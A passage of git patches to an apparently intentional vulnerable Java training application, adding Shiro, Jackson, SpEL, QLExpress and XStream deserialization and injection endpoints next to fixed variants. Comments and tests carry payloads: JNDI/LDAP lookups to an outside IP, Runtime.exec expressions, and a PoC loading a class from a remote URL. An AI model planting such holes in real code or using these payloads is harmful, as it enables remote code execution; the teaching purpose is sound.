From 0c253adbed202b0cbef401a375cfb7b2c8a773e1 Mon Sep 17 00:00:00 2001 From: wzqs <71961807+wzqs@users.noreply.github.com> Date: Wed, 24 May 2023 22:39:44 +0800 Subject: [PATCH 1/5] Update index.html fix '/rce/exec' path error --- src/main/resources/templates/index.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index 4c116cb3..7e7061be 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -17,7 +17,7 @@ PathTraversal   SqlInject   SSRF   - RCE   + RCE   ooxml XXE   xlsx-streamer XXE actuator env @@ -31,4 +31,4 @@ logout - \ No newline at end of file + From 920bd93a25730695985ecd1a8c1bda5c738bbdf5 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 27 Dec 2023 12:24:23 +0800 Subject: [PATCH 2/5] fix #78 --- README.md | 1 + README_zh.md | 1 + java-sec-code.iml | 6 ++ pom.xml | 65 ++++++++++++++++++- src/main/java/org/joychou/Application.java | 1 - .../joychou/config/TomcatFilterMemShell.java | 19 +----- .../org/joychou/controller/Deserialize.java | 14 ++++ .../org/joychou/controller/FileUpload.java | 2 +- .../java/org/joychou/controller/Jsonp.java | 3 +- src/main/java/org/joychou/controller/Jwt.java | 4 +- .../java/org/joychou/controller/Log4j.java | 17 ++--- src/main/java/org/joychou/controller/Rce.java | 1 - .../java/org/joychou/controller/Shiro.java | 49 ++++++++++++++ .../java/org/joychou/controller/SpEL.java | 50 ++++++++++---- .../java/org/joychou/controller/Test.java | 36 ---------- .../othervulns/xlsxStreamerXXE.java | 1 - .../org/joychou/security/SecurityUtil.java | 4 +- .../java/org/joychou/util/CookieUtils.java | 13 ++++ src/main/resources/application.properties | 3 +- src/main/resources/templates/login.html | 4 +- 20 files changed, 203 insertions(+), 91 deletions(-) create mode 100644 src/main/java/org/joychou/controller/Shiro.java delete mode 100644 src/main/java/org/joychou/controller/Test.java diff --git a/README.md b/README.md index 52642169..e7fbef9e 100644 --- a/README.md +++ b/README.md @@ -47,6 +47,7 @@ Sort by letter. - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [Swagger](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/config/SwaggerConfig.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) diff --git a/README_zh.md b/README_zh.md index 70e68837..f713e6cc 100644 --- a/README_zh.md +++ b/README_zh.md @@ -42,6 +42,7 @@ joychou/joychou123 - ScriptEngine - Yaml Deserialize - Groovy +- [Shiro](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Shiro.java) - [SpEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SpEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) - [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) diff --git a/java-sec-code.iml b/java-sec-code.iml index 1daccaec..5c58c92b 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -1,5 +1,11 @@ + + + + + + diff --git a/pom.xml b/pom.xml index e2a62e75..c62d938c 100644 --- a/pom.xml +++ b/pom.xml @@ -12,7 +12,6 @@ 1.8 1.8 - 8.5.85 @@ -197,11 +196,12 @@ 1.7 - + com.thoughtworks.xstream xstream - 1.4.10 + + 1.4.20 @@ -344,6 +344,65 @@ 11.5.8.0 + + org.apache.shiro + shiro-core + 1.2.4 + + + + com.fasterxml.jackson.core + jackson-databind + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-annotations + 2.9.8 + + + + com.fasterxml.jackson.core + jackson-core + 2.9.8 + + + + + + org.jsecurity + jsecurity + 0.9.0 + + + + + + org.springframework + spring-expression + 4.3.16.RELEASE + + + + + com.h2database + h2 + 1.4.199 + test + + + + org.apache.tomcat + tomcat-dbcp + 9.0.8 + + + + com.alibaba + QLExpress + 3.3.1 + diff --git a/src/main/java/org/joychou/Application.java b/src/main/java/org/joychou/Application.java index 41169b9a..afdf6f56 100644 --- a/src/main/java/org/joychou/Application.java +++ b/src/main/java/org/joychou/Application.java @@ -5,7 +5,6 @@ import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.boot.web.servlet.ServletComponentScan; import org.springframework.boot.web.support.SpringBootServletInitializer; -import org.springframework.cloud.netflix.eureka.EnableEurekaClient; @ServletComponentScan // do filter diff --git a/src/main/java/org/joychou/config/TomcatFilterMemShell.java b/src/main/java/org/joychou/config/TomcatFilterMemShell.java index be7a1b1c..15822d59 100644 --- a/src/main/java/org/joychou/config/TomcatFilterMemShell.java +++ b/src/main/java/org/joychou/config/TomcatFilterMemShell.java @@ -1,10 +1,5 @@ package org.joychou.config; -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import org.apache.catalina.core.StandardContext; import java.io.IOException; @@ -19,8 +14,8 @@ import javax.servlet.*; import java.util.*; -@Component -public class TomcatFilterMemShell extends AbstractTranslet implements Filter { +//@Component +public class TomcatFilterMemShell implements Filter { static{ try { System.out.println("Tomcat filter backdoor class is loading..."); @@ -75,16 +70,6 @@ public class TomcatFilterMemShell extends AbstractTranslet implements Filter { } - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } - @Override public void init(FilterConfig filterConfig) throws ServletException { diff --git a/src/main/java/org/joychou/controller/Deserialize.java b/src/main/java/org/joychou/controller/Deserialize.java index 1ca5ff43..55c82ab2 100644 --- a/src/main/java/org/joychou/controller/Deserialize.java +++ b/src/main/java/org/joychou/controller/Deserialize.java @@ -1,5 +1,6 @@ package org.joychou.controller; +import com.fasterxml.jackson.databind.ObjectMapper; import org.joychou.config.Constants; import org.joychou.security.AntObjectInputStream; import org.slf4j.Logger; @@ -83,4 +84,17 @@ public String rememberMeBlackClassCheck(HttpServletRequest request) return "I'm very OK."; } + // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; + @RequestMapping("/jackson") + public void Jackson(String payload) { + ObjectMapper mapper = new ObjectMapper(); + mapper.enableDefaultTyping(); + try { + Object obj = mapper.readValue(payload, Object.class); + mapper.writeValueAsString(obj); + } catch (IOException e) { + e.printStackTrace(); + } + } + } diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java index 00ab7008..a1858a12 100644 --- a/src/main/java/org/joychou/controller/FileUpload.java +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -195,4 +195,4 @@ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java index 2ab0dcef..eb9381e3 100644 --- a/src/main/java/org/joychou/controller/Jsonp.java +++ b/src/main/java/org/joychou/controller/Jsonp.java @@ -6,8 +6,8 @@ import com.alibaba.fastjson.JSONPObject; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang.StringUtils; -import org.joychou.security.SecurityUtil; import org.joychou.util.LoginUtils; +import org.joychou.security.SecurityUtil; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; @@ -19,7 +19,6 @@ import org.joychou.util.WebUtils; import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; import java.security.Principal; diff --git a/src/main/java/org/joychou/controller/Jwt.java b/src/main/java/org/joychou/controller/Jwt.java index 522fd44a..f3e4c126 100644 --- a/src/main/java/org/joychou/controller/Jwt.java +++ b/src/main/java/org/joychou/controller/Jwt.java @@ -33,7 +33,9 @@ public String createToken(HttpServletResponse response, HttpServletRequest reque String loginUser = request.getUserPrincipal().getName(); log.info("Current login user is " + loginUser); - CookieUtils.deleteCookie(response, COOKIE_NAME); + if (!CookieUtils.deleteCookie(response, COOKIE_NAME)){ + return String.format("%s cookie delete failed", COOKIE_NAME); + } String token = JwtUtils.generateTokenByJavaJwt(loginUser); Cookie cookie = new Cookie(COOKIE_NAME, token); diff --git a/src/main/java/org/joychou/controller/Log4j.java b/src/main/java/org/joychou/controller/Log4j.java index e5dbc83a..b2ea4060 100644 --- a/src/main/java/org/joychou/controller/Log4j.java +++ b/src/main/java/org/joychou/controller/Log4j.java @@ -2,7 +2,7 @@ import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @@ -11,23 +11,18 @@ public class Log4j { private static final Logger logger = LogManager.getLogger("Log4j"); /** - * http://localhost:8080/log4j?token=${jndi:ldap://wffsr5.dnslog.cn:9999} + * http://localhost:8080/log4j?token=${jndi:ldap://127.0.0.1:1389/0iun75} * Default: error/fatal/off * Fix: Update log4j to lastet version. - * @param token token */ - @GetMapping("/log4j") + @RequestMapping(value = "/log4j") public String log4j(String token) { - if(token.equals("java-sec-code")) { - return "java sec code"; - } else { - logger.error(token); - return "error"; - } + logger.error(token); + return token; } public static void main(String[] args) { - String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}"; + String poc = "${jndi:ldap://127.0.0.1:1389/0iun75}"; logger.error(poc); } diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java index b64d57bf..7c5f30a9 100644 --- a/src/main/java/org/joychou/controller/Rce.java +++ b/src/main/java/org/joychou/controller/Rce.java @@ -15,7 +15,6 @@ import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.InputStreamReader; -import java.sql.DriverManager; /** diff --git a/src/main/java/org/joychou/controller/Shiro.java b/src/main/java/org/joychou/controller/Shiro.java new file mode 100644 index 00000000..2dc143ca --- /dev/null +++ b/src/main/java/org/joychou/controller/Shiro.java @@ -0,0 +1,49 @@ +package org.joychou.controller; + + +import lombok.extern.slf4j.Slf4j; +import org.apache.shiro.crypto.AesCipherService; +import org.joychou.config.Constants; +import org.joychou.util.CookieUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import static org.springframework.web.util.WebUtils.getCookie; + +@Slf4j +@RestController +public class Shiro { + + byte[] KEYS = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); + private final static String DELETE_ME = "deleteMe"; + AesCipherService acs = new AesCipherService(); + + + @GetMapping(value = "/shiro/deserialize") + public String shiro_deserialize(HttpServletRequest req, HttpServletResponse res) { + Cookie cookie = getCookie(req, Constants.REMEMBER_ME_COOKIE); + if (null == cookie) { + return "No rememberMe cookie. Right?"; + } + + try { + String rememberMe = cookie.getValue(); + byte[] b64DecodeRememberMe = java.util.Base64.getDecoder().decode(rememberMe); + byte[] aesDecrypt = acs.decrypt(b64DecodeRememberMe, KEYS).getBytes(); + ByteArrayInputStream bytes = new ByteArrayInputStream(aesDecrypt); + ObjectInputStream in = new ObjectInputStream(bytes); + in.readObject(); + in.close(); + } catch (Exception e){ + if (CookieUtils.addCookie(res, "rememberMe", DELETE_ME)){ + log.error(e.getMessage()); + return "RememberMe cookie decrypt error. Set deleteMe cookie success."; + } + } + + return "Shiro deserialize"; + } +} diff --git a/src/main/java/org/joychou/controller/SpEL.java b/src/main/java/org/joychou/controller/SpEL.java index 698f4a7e..452180b8 100644 --- a/src/main/java/org/joychou/controller/SpEL.java +++ b/src/main/java/org/joychou/controller/SpEL.java @@ -1,38 +1,64 @@ package org.joychou.controller; +import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; +import org.springframework.expression.common.TemplateParserContext; import org.springframework.expression.spel.standard.SpelExpressionParser; -import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.expression.spel.support.SimpleEvaluationContext; +import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; /** - * SpEL Injection - * + * SpEL Injection. * @author JoyChou @2019-01-17 */ @RestController public class SpEL { /** - * SpEL to RCE - * http://localhost:8080/spel/vul/?expression=xxx. - * xxx is urlencode(exp) - * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") + * Use Spel to execute cmd.

+ * T(java.lang.Runtime).getRuntime().exec("open -a Calculator") */ - @GetMapping("/spel/vuln") - public String rce(String expression) { + @RequestMapping("/spel/vuln1") + public String spel_vuln1(String value) { ExpressionParser parser = new SpelExpressionParser(); - // fix method: SimpleEvaluationContext - return parser.parseExpression(expression).getValue().toString(); + return parser.parseExpression(value).getValue().toString(); + } + + /** + * Use Spel to execute cmd.

+ * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} + * Exploit must add #{} if using TemplateParserContext. + */ + @RequestMapping("spel/vuln2") + public String spel_vuln2(String value) { + StandardEvaluationContext context = new StandardEvaluationContext(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); // trigger vulnerability point + return x.toString(); // response + } + + /** + * Use SimpleEvaluationContext to fix. + */ + @RequestMapping("spel/sec") + public String spel_sec(String value) { + SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); + SpelExpressionParser parser = new SpelExpressionParser(); + Expression expression = parser.parseExpression(value, new TemplateParserContext()); + Object x = expression.getValue(context); + return x.toString(); } public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; + String expression = "1+1"; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } + } diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java deleted file mode 100644 index 3b75c7d0..00000000 --- a/src/main/java/org/joychou/controller/Test.java +++ /dev/null @@ -1,36 +0,0 @@ -package org.joychou.controller; - -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.Cookie; -import javax.servlet.http.HttpServletResponse; - -@RestController -@RequestMapping("/test") -public class Test { - - @RequestMapping(value = "/") - public String Index(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - return "success"; - } - - - @RequestMapping(value = "/aa") - public void test(HttpServletResponse response, String empId) { - - System.out.println(empId); - Cookie cookie = new Cookie("XSRF-TOKEN", "123"); - cookie.setDomain("taobao.com"); - cookie.setMaxAge(-1); // forever time - response.addCookie(cookie); - } -} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index ec054ffd..d3107c3e 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -1,7 +1,6 @@ package org.joychou.controller.othervulns; import com.monitorjbl.xlsx.StreamingReader; -import org.apache.poi.ss.usermodel.Workbook; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index ee962846..fef14593 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,7 +18,7 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); - private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** @@ -116,7 +116,6 @@ public static boolean checkSSRFByWhitehosts(String url) { /** * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 - * * 存在的问题: * 1、会主动发起请求,可能会有性能问题 * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 @@ -134,7 +133,6 @@ public static boolean checkSSRF(String url) { /** * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 - * * 存在问题: * 1、TTL为0会被绕过 * 2、使用重定向可绕过 diff --git a/src/main/java/org/joychou/util/CookieUtils.java b/src/main/java/org/joychou/util/CookieUtils.java index eddae0db..f63b6e42 100644 --- a/src/main/java/org/joychou/util/CookieUtils.java +++ b/src/main/java/org/joychou/util/CookieUtils.java @@ -21,4 +21,17 @@ public static boolean deleteCookie(HttpServletResponse res, String cookieName) { return false; } } + + public static boolean addCookie(HttpServletResponse res, String cookieName, String cookieValue) { + try { + Cookie cookie = new Cookie(cookieName, cookieValue); + cookie.setMaxAge(1000); + cookie.setPath("/"); + res.addCookie(cookie); + return true; + } catch (Exception e) { + log.error(e.toString()); + return false; + } + } } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 66bdb978..15d2c5a3 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -46,7 +46,7 @@ swagger.enable = true ### no need to login page begins ### -joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/** +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/** ### no need to login page ends ### @@ -54,5 +54,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, # http header max size #server.max-http-header-size=30000 +# Fake aksk. Simulate actuator info leak. jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html index 1a4c4225..d5c4ccd5 100644 --- a/src/main/resources/templates/login.html +++ b/src/main/resources/templates/login.html @@ -28,7 +28,9 @@

-

RememberMe

+

+ RememberMe +

From 457d703e8f89bff657c6c51151ada71ebd09a1c6 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 28 Dec 2023 19:38:47 +0800 Subject: [PATCH 3/5] Add qlexpress and some test cases. --- README.md | 5 +- README_zh.md | 5 +- .../org/joychou/controller/QLExpress.java | 44 ++++++++ .../org/joychou/controller/XStreamRce.java | 14 +-- src/main/java/org/joychou/dao/User.java | 29 +---- src/main/resources/application.properties | 2 +- src/main/test/org/test/QLExpressTest.java | 103 ++++++++++++++++++ src/main/test/org/test/XStreamTest.java | 70 ++++++++++++ 8 files changed, 230 insertions(+), 42 deletions(-) create mode 100644 src/main/java/org/joychou/controller/QLExpress.java create mode 100644 src/main/test/org/test/QLExpressTest.java create mode 100644 src/main/test/org/test/XStreamTest.java diff --git a/README.md b/README.md index e7fbef9e..0e8c074b 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ Java sec code is a very powerful and friendly project for learning Java vulnerability code. -[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋[Alibaba Security Purple Team Recruitment](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[中文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README_zh.md) 😋 ## Introduce @@ -41,6 +41,7 @@ Sort by letter. - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder @@ -146,7 +147,7 @@ Viarus Example: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` return: diff --git a/README_zh.md b/README_zh.md index f713e6cc..e2d5727c 100644 --- a/README_zh.md +++ b/README_zh.md @@ -2,7 +2,7 @@ 对于学习Java漏洞代码来说,`Java Sec Code`是一个非常强大且友好的项目。 -[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋[阿里集团安全紫军招聘](https://talent.alibaba.com/off-campus-position/937731?trace=qrcode_share) +[英文文档](https://github.com/JoyChou93/java-sec-code/blob/master/README.md) 😋 ## 介绍 @@ -36,6 +36,7 @@ joychou/joychou123 - [Log4j](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Log4j.java) - [ooxmlXXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/othervulns/ooxmlXXE.java) - [PathTraversal](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/PathTraversal.java) +- [QLExpress](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/QLExpress.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - Runtime - ProcessBuilder @@ -138,7 +139,7 @@ Viarus 例子: ``` -http://localhost:8080/java-sec-code-1.0.0/rce/exec?cmd=whoami +http://localhost:8080/java-sec-code-1.0.0/rce/runtime/exec?cmd=whoami ``` 返回: diff --git a/src/main/java/org/joychou/controller/QLExpress.java b/src/main/java/org/joychou/controller/QLExpress.java new file mode 100644 index 00000000..663589cd --- /dev/null +++ b/src/main/java/org/joychou/controller/QLExpress.java @@ -0,0 +1,44 @@ +package org.joychou.controller; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.joychou.util.WebUtils; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +@RestController(value = "/qlexpress") +public class QLExpress { + + /** + * url = 'http://sb.dog:8888/'; + * classLoader = new java.net.URLClassLoader([new java.net.URL(url)]); + * classLoader.loadClass('Hello').newInstance(); + */ + @RequestMapping("/vuln1") + public String vuln1(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } + + @RequestMapping("/sec") + public String sec(HttpServletRequest req) throws Exception{ + String express = WebUtils.getRequestBody(req); + System.out.println(express); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + // Can only call java.lang.String#length() + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + DefaultContext context = new DefaultContext(); + Object r = runner.execute(express, context, null, true, false); + System.out.println(r); + return r.toString(); + } +} diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index 62616e95..aa3469bd 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,6 +2,7 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; @@ -24,20 +25,9 @@ public class XStreamRce { public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); + xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } - public static void main(String[] args) { - User user = new User(); - user.setId(0); - user.setUsername("admin"); - - XStream xstream = new XStream(new DomDriver()); - String xml = xstream.toXML(user); // Serialize - System.out.println(xml); - - user = (User) xstream.fromXML(xml); // Deserialize - System.out.println(user.getId() + ": " + user.getUsername()); - } } diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index 1336f571..0b8eb3b0 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,32 +1,11 @@ package org.joychou.dao; -import java.io.Serializable; +import lombok.Data; -public class User implements Serializable { - private static final long serialVersionUID = 1L; + +@Data +public class User { private Integer id; private String username; private String password; - - public Integer getId() { - return id; - } - public void setId(Integer id) { - this.id = id; - } - - public String getUsername() { - return username; - } - public void setUsername(String username) { - this.username = username; - } - - public String getPassword() { - return password; - } - public void setPassword(String password) { - this.password = password; - } - } diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 15d2c5a3..326a2b76 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -46,7 +46,7 @@ swagger.enable = true ### no need to login page begins ### -joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/** +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** ### no need to login page ends ### diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java new file mode 100644 index 00000000..a2071d58 --- /dev/null +++ b/src/main/test/org/test/QLExpressTest.java @@ -0,0 +1,103 @@ +package org.test; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.junit.Test; + +/** + * QLExpress security test cases. + */ +public class QLExpressTest { + + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; + + /** + * basic usage + */ + @Test + public void basicUsage() throws Exception{ + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + context.put("a", 1); + context.put("b", 2); + Object r = runner.execute("a+b", context, null, true, false); + System.out.println(r); // print 3 + } + + /** + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. + */ + @Test + public void vuln1() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + /** + * fix method by using class and method whitelist. + */ + @Test + public void sec01() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + IExpressContext context = new DefaultContext<>(); + Object r1 = runner.execute("'abc'.length()", context, null, true, false); + System.out.println(r1); + Object r2 = runner.execute(poc, context, null, true, false); + System.out.println(r2); + } + + /** + *

Fix method by using class and method blacklist. It may exist bypass.

+ * + *

Default blacklist: + *

    + *
  • System.class.getName() + ".exit"
  • + *
  • ProcessBuilder.class.getName() + ".start"
  • + *
  • Method.class.getName() + ".invoke"
  • + *
  • Class.class.getName() + ".forName"
  • + *
  • ClassLoader.class.getName() + ".loadClass"
  • + *
  • ClassLoader.class.getName() + ".findClass"
  • + *
  • ClassLoader.class.getName() + ".defineClass"
  • + *
  • ClassLoader.class.getName() + ".getSystemClassLoader"
  • + *
  • javax.naming.InitialContext.lookup
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setDataSourceName
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setAutoCommit
  • + *
  • QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
  • + *
  • jdk.jshell.JShell.create
  • + *
  • javax.script.ScriptEngineManager.getEngineByName
  • + *
  • org.springframework.jndi.JndiLocatorDelegate.lookup
  • + *
+ *

+ */ + @Test + public void sec02() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + + /** + *

Fix method by using sandbox.

